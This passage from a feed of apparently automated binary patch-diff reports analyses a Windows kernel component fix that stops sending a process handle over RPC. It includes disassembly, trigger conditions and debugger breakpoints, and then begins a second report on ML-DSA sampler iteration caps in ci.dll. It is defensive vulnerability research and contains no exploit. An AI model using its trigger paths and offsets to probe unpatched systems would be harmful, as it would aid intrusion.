&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0006B9A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="ow"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;140&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;var_118&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;HandleAttributes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0006B9F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="ow"&gt;or&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;FFFFFFFFFFFFFFFFh&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SourceProcessHandle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;current&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;process&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0006BA3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TargetProcessHandle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0006BA6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;140&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;DesiredAccess&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;101000&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DesiredAccess&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SYNCHRONIZE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PROCESS_QUERY_LIMITED_INFORMATION&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0006BAE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt;                           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SourceHandle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0006BB1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_NtDuplicateObject&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ntoskrnl&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Unpatched — handle marshaled into the RPC call&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0006BFD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;40&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;TargetHandle&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;duplicated&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;process&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;handle&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0006C83&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;140&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;DesiredAccess&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;placed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="n"&gt;o&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NdrClientCall3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;argument&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;slot&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0006C88&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C0006C91&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0006C91&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_NdrClientCall3&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;msrpc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;—&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;handle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;broker&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Unpatched — handle cleanup at exit&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0006CDC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;40&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;TargetHandle&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Handle&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0006CE0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0006CE3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C0006CF1&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0006CE5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_NtClose&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ntoskrnl&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Patched Sequence&lt;/h3&gt;
&lt;p&gt;In the patched build the entire &lt;code&gt;NtDuplicateObject&lt;/code&gt; setup (&lt;code&gt;0x1C0006B91&lt;/code&gt;–&lt;code&gt;0x1C0006BB1&lt;/code&gt;) and the &lt;code&gt;NtClose&lt;/code&gt; cleanup are absent. The &lt;code&gt;NdrClientCall3&lt;/code&gt; call moves to &lt;code&gt;0x1C0006C39&lt;/code&gt;, and its argument list no longer contains a handle; the register &lt;code&gt;r12d&lt;/code&gt;/&lt;code&gt;a1&lt;/code&gt; (the broker type id) occupies the slot previously used for the handle. The stack frame shrinks from &lt;code&gt;0x108&lt;/code&gt; to &lt;code&gt;0xE8&lt;/code&gt; bytes because the handle and related locals are gone.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;p&gt;To reach the removed code path in the unpatched build:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Reach the export:&lt;/strong&gt; A component calls &lt;code&gt;BriCreateBrokeredEvent&lt;/code&gt; (&lt;code&gt;0x1C0006990&lt;/code&gt;) or &lt;code&gt;BriCreateBrokeredEventEx&lt;/code&gt; (&lt;code&gt;0x1C00069E0&lt;/code&gt;). These are exported kernel-library routines; the binaries do not expose an IOCTL/device path that reaches them, so no unprivileged user-mode trigger is demonstrated here.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pass the null checks:&lt;/strong&gt; &lt;code&gt;a2&lt;/code&gt; (GUID), &lt;code&gt;a4&lt;/code&gt; (SID), &lt;code&gt;a8&lt;/code&gt;, and &lt;code&gt;a9&lt;/code&gt; must all be non-null.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pass SID validation:&lt;/strong&gt; &lt;code&gt;RtlValidSid(a4)&lt;/code&gt; must return true.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pass one-time init:&lt;/strong&gt; &lt;code&gt;RtlRunOnceExecuteOnce(&amp;amp;BrokerInternalClientInitOnce, ...)&lt;/code&gt; must succeed.&lt;/li&gt;
&lt;li&gt;Once these hold, &lt;code&gt;NtDuplicateObject&lt;/code&gt; at &lt;code&gt;0x1C0006BB1&lt;/code&gt; runs unconditionally and the resulting handle is passed to &lt;code&gt;NdrClientCall3&lt;/code&gt; at &lt;code&gt;0x1C0006C91&lt;/code&gt;. No privilege check gates the duplication.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;6. Nature of the Change&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;This is a logic / least-privilege change, not memory corruption.&lt;/strong&gt; The unpatched code hands the broker a handle to the caller's own process with &lt;code&gt;PROCESS_QUERY_LIMITED_INFORMATION | SYNCHRONIZE&lt;/code&gt; rights; the patch stops creating and sending it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Access mask &lt;code&gt;0x101000&lt;/code&gt;:&lt;/strong&gt; &lt;code&gt;PROCESS_QUERY_LIMITED_INFORMATION&lt;/code&gt; (&lt;code&gt;0x1000&lt;/code&gt;) allows querying basic process metadata; &lt;code&gt;SYNCHRONIZE&lt;/code&gt; (&lt;code&gt;0x100000&lt;/code&gt;) allows waiting on the process object.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Why the impact is limited:&lt;/strong&gt; the broker is the privileged party in this design. A handle to a less-privileged caller's process, restricted to query-limited and synchronize rights, does not grant the broker any capability it could not already obtain. No confused-deputy or privilege-escalation primitive is demonstrable from these binaries, and standard memory mitigations are not relevant because there is no memory-corruption path.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Correctly scoped conclusion:&lt;/strong&gt; the fix reduces attack surface by not exposing a process handle over the RPC boundary. The exact upstream motivation (protocol simplification versus defense-in-depth) cannot be determined from the binaries alone.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;7. Debugger Observation Aid&lt;/h2&gt;
&lt;p&gt;For an analyst confirming the removed behavior in &lt;code&gt;cea_unpatched.sys&lt;/code&gt; with a kernel debugger:&lt;/p&gt;
&lt;h3&gt;Breakpoints&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp cea_unpatched+0x6bb1 &amp;quot;.printf \&amp;quot;NtDuplicateObject called (caller process handle)\\n\&amp;quot;;&amp;quot;
bp cea_unpatched+0x6c91 &amp;quot;.printf \&amp;quot;NdrClientCall3 carrying process handle\\n\&amp;quot;;&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;What to Inspect&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;At &lt;code&gt;+0x6bb1&lt;/code&gt; (&lt;code&gt;NtDuplicateObject&lt;/code&gt;):&lt;/strong&gt; &lt;code&gt;rcx = rdx = r8 = -1&lt;/code&gt; (current-process pseudo-handle), &lt;code&gt;r9&lt;/code&gt; points to the &lt;code&gt;TargetHandle&lt;/code&gt; output, and &lt;code&gt;[rsp+0x20]&lt;/code&gt; holds &lt;code&gt;0x101000&lt;/code&gt; (DesiredAccess). After the call, the output slot holds the new handle value.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;At &lt;code&gt;+0x6c91&lt;/code&gt; (&lt;code&gt;NdrClientCall3&lt;/code&gt;):&lt;/strong&gt; &lt;code&gt;[rsp+0x20]&lt;/code&gt; holds &lt;code&gt;rbx&lt;/code&gt;, the duplicated handle value being marshaled to the broker.&lt;/li&gt;
&lt;li&gt;In the patched binary neither breakpoint is reachable: the &lt;code&gt;NtDuplicateObject&lt;/code&gt; call is gone and &lt;code&gt;NdrClientCall3&lt;/code&gt; (now at &lt;code&gt;+0x6c39&lt;/code&gt;) carries no handle.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Key Offsets&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x1C0006BB1&lt;/code&gt;: &lt;code&gt;call cs:__imp_NtDuplicateObject&lt;/code&gt; — removed in the patch.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1C0006BA6&lt;/code&gt;: &lt;code&gt;mov [rsp+140h+DesiredAccess], 101000h&lt;/code&gt; — DesiredAccess.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1C0006C83&lt;/code&gt;: &lt;code&gt;mov qword ptr [rsp+140h+DesiredAccess], rbx&lt;/code&gt; — handle placed into RPC args.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1C0006C91&lt;/code&gt;: &lt;code&gt;call cs:__imp_NdrClientCall3&lt;/code&gt; — handle sent to broker.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x1C0006CE5&lt;/code&gt;: &lt;code&gt;call cs:__imp_NtClose&lt;/code&gt; — handle cleanup, removed in the patch.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;BripCreateBrokeredEvent&lt;/code&gt; (&lt;code&gt;0x1C0006AB0&lt;/code&gt;, Sim 0.6883 | Security-relevant):&lt;/strong&gt; The changed function. Removed the &lt;code&gt;NtDuplicateObject&lt;/code&gt; call at &lt;code&gt;0x1C0006BB1&lt;/code&gt;, removed the &lt;code&gt;NtClose&lt;/code&gt; cleanup at &lt;code&gt;0x1C0006CE5&lt;/code&gt;, dropped the handle argument from the &lt;code&gt;NdrClientCall3&lt;/code&gt; call, and shrank the stack frame from &lt;code&gt;0x108&lt;/code&gt; to &lt;code&gt;0xE8&lt;/code&gt; bytes. The patched RPC call always uses &lt;code&gt;pProxyInfo&lt;/code&gt; (the unpatched build selected between &lt;code&gt;off_1C000B5A0&lt;/code&gt; and &lt;code&gt;pProxyInfo&lt;/code&gt; via &lt;code&gt;UuidEqual&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;BriDeleteEventImpl&lt;/code&gt; (&lt;code&gt;0x1C0007068&lt;/code&gt; → &lt;code&gt;0x1C0006FEC&lt;/code&gt;, Sim 0.4839 | Behavioral):&lt;/strong&gt; The RPC error-path cleanup routine. It takes the same four register inputs in both builds (&lt;code&gt;a1&lt;/code&gt;=UUID, &lt;code&gt;a2&lt;/code&gt;=binding, &lt;code&gt;a3&lt;/code&gt;=broker type, &lt;code&gt;a4&lt;/code&gt;=state pointer) and is called with four arguments from &lt;code&gt;BripCreateBrokeredEvent&lt;/code&gt; in both builds. What changed is the RPC selection: the unpatched build always calls &lt;code&gt;NdrClientCall3&lt;/code&gt; with proc &lt;code&gt;off_1C000B5A0&lt;/code&gt; (nProcNum = 1, or &lt;code&gt;pProxyInfo&lt;/code&gt; when the UUID does not match &lt;code&gt;g_SmsRouterBrokerId&lt;/code&gt;); the patched build calls &lt;code&gt;off_1C000B428&lt;/code&gt; (nProcNum = 1) when the UUID matches and &lt;code&gt;pProxyInfo&lt;/code&gt; (nProcNum = 2) otherwise. This is a wire-protocol/proc-number adjustment consistent with the create path no longer carrying a process handle. Not independently security-relevant.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;BripMapRpcStatus&lt;/code&gt; (&lt;code&gt;0x1C0007894&lt;/code&gt; → &lt;code&gt;0x1C0007824&lt;/code&gt;) &amp;amp; &lt;code&gt;BripCreateEventContext&lt;/code&gt; (&lt;code&gt;0x1C0006D48&lt;/code&gt; → &lt;code&gt;0x1C0006CCC&lt;/code&gt;) (Sim 0.0447 &amp;amp; 0.1342 | Cosmetic):&lt;/strong&gt; Byte-for-byte identical code relocated to new addresses (their instruction streams match exactly). &lt;code&gt;BripMapRpcStatus&lt;/code&gt; is an RPC-status-to-NTSTATUS lookup routine. &lt;code&gt;BripCreateEventContext&lt;/code&gt; allocates &lt;code&gt;0x38&lt;/code&gt; bytes with tag &lt;code&gt;'EvtA'&lt;/code&gt; (&lt;code&gt;0x41747645&lt;/code&gt;) via &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt;, computes a CRC32, and inserts into a hash table (&lt;code&gt;RtlInsertEntryHashTable&lt;/code&gt;). No logic change.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;p&gt;There were &lt;strong&gt;0 added&lt;/strong&gt; and &lt;strong&gt;0 removed&lt;/strong&gt; functions. The patch modified existing routines only.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Confidence Level:&lt;/strong&gt; High for the mechanics. The disassembly and decompilation of both builds directly show the &lt;code&gt;NtDuplicateObject&lt;/code&gt; call, the handle being marshaled into &lt;code&gt;NdrClientCall3&lt;/code&gt;, the &lt;code&gt;NtClose&lt;/code&gt; cleanup, and their complete removal in the patched build.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Severity rationale:&lt;/strong&gt; Rated Low because there is no memory-corruption path, the recipient broker is the privileged party (so no privilege boundary is crossed in the escalation direction), and no unprivileged user-mode entry point reaching this code is present in these binaries. The change is best described as removal of an unnecessary process-handle exposure over the kernel-to-broker RPC boundary.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Not determinable from the binaries:&lt;/strong&gt; whether the RPC runtime re-duplicates the handle into the broker's address space (system-handle marshaling) versus transmitting only its numeric value, and the upstream servicing rationale for the change.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;DONE&lt;/p&gt;</content><category term="Corpus"/></entry><entry><title>ci.dll — Defense-in-depth iteration caps in ML-DSA rejection samplers (CWE-835) fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/ci_85c5a4da-ci-report-20260626-135818.html" rel="alternate"/><published>2026-06-26T00:00:00-07:00</published><updated>2026-06-26T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-26:/drift-corpus/item/ci_85c5a4da-ci-report-20260626-135818.html</id><summary type="html">&lt;p&gt;KB5077179&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unpatched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ci_unpatched.dll&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Patched binary&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ci_patched.dll&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Overall similarity&lt;/td&gt;
&lt;td&gt;0.9457&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Matched functions&lt;/td&gt;
&lt;td&gt;2531&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Changed functions&lt;/td&gt;
&lt;td&gt;101&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Identical functions&lt;/td&gt;
&lt;td&gt;2430&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unmatched (unpatched)&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Unmatched (patched)&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch adds bounded-iteration hardening to the ML-DSA (Module-Lattice Digital Signature Algorithm, FIPS 204 / CRYSTALS-Dilithium) rejection-sampling routines that &lt;code&gt;ci.dll&lt;/code&gt; uses through its embedded SymCrypt post-quantum signature code. &lt;code&gt;SymCryptMlDsaSampleInBall (sub_180029FE8)&lt;/code&gt; samples the challenge polynomial by repeatedly squeezing bytes from a SHAKE256 (Keccak) extendable-output stream and rejecting values until it accepts one; in the unpatched build the inner rejection loop has no iteration counter, which is the CWE-835 shape (a loop whose exit depends on sampled data). The same missing-cap pattern was present in the two sibling sampling routines &lt;code&gt;SymCryptMlDsaRejNttPoly (sub_180029F0C)&lt;/code&gt; and &lt;code&gt;SymCryptMlDsaRejBoundedPoly (sub_180029D6C)&lt;/code&gt;. The patch adds a per-index iteration cap and an &lt;code&gt;0x8008&lt;/code&gt; error return to each sampling routine, and adds error propagation in the callers so the new status is not discarded.&lt;/p&gt;
&lt;p&gt;This is defense-in-depth, not a fix for an attacker-reachable denial of service. The bytes tested by each loop are SHAKE256 (Keccak) sponge output, not attacker bytes: the attacker controls only the seed (&lt;code&gt;c~&lt;/code&gt; from the signature, &lt;code&gt;rho&lt;/code&gt; from the public key), and the sponge output behaves as a cryptographic random oracle whose bytes cannot be biased by choosing the seed. &lt;code&gt;tau&lt;/code&gt; is a static per-parameter-set constant (39 / 49 / 60 for ML-DSA-44 / -65 / -87), read from the trusted context at &lt;code&gt;arg1+0x18&lt;/code&gt;, not attacker input. For the challenge sampler the per-squeeze rejection probability is at most &lt;code&gt;(tau-1)/256 &amp;lt;= 59/256 ~ 0.23&lt;/code&gt;, so reaching even the new 121-iteration cap at a single index has probability on the order of &lt;code&gt;0.23^121 ~ 10^-77&lt;/code&gt;; forcing the loop to run long would require brute-forcing on the order of &lt;code&gt;10^77&lt;/code&gt; seeds, which is infeasible. The uncapped loop therefore 